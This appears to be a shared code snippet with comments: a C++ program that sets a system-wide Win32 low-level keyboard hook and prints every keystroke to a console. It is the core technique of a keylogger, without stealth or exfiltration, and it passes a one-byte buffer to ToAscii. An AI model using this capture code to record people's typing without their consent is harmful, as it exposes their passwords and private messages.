Create a keyboard hook using Win32 System API and log what the user types into a console.

keyboardhook.cpp

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <iostream>

HHOOK hHook{ NULL };

enum Keys
{
	ShiftKey = 16,
	Capital = 20,
};

int shift_active() {
	return GetKeyState(VK_LSHIFT) < 0 || GetKeyState(VK_RSHIFT) < 0;
}

int capital_active() {
	return (GetKeyState(VK_CAPITAL) & 1) == 1;
}

LRESULT CALLBACK keyboard_hook(const int code, const WPARAM wParam, const LPARAM lParam) {
	if (wParam == WM_KEYDOWN) {
		KBDLLHOOKSTRUCT *kbdStruct = (KBDLLHOOKSTRUCT*)lParam;
		DWORD wVirtKey = kbdStruct->vkCode;
		DWORD wScanCode = kbdStruct->scanCode;

		BYTE lpKeyState[256];
		GetKeyboardState(lpKeyState);
		lpKeyState[Keys::ShiftKey] = 0;
		lpKeyState[Keys::Capital] = 0;
		if (shift_active()) {
			lpKeyState[Keys::ShiftKey] = 0x80;
		}
		if (capital_active()) {
			lpKeyState[Keys::Capital] = 0x01;
		}

		char result;
		ToAscii(wVirtKey, wScanCode, lpKeyState, (LPWORD)&result, 0);
		std::cout << result << std::endl;
	}

	return CallNextHookEx(hHook, code, wParam, lParam);
}

int main(int argc, char* argv[])
{
	hHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboard_hook, NULL, 0);
	if (hHook == NULL) {
		std::cout << "Keyboard hook failed!" << std::endl;
	}

	while (GetMessage(NULL, NULL, 0, 0));
    return 0;
}

Thank you, very helpful.

This won't work on Windows later than XP (Vista, 7, 8, 10) since it will require HINSTANCE parameter hmod to be non null (in function SetWindowsHookEx). It should contain DLL HINSTANCE.

Thank you!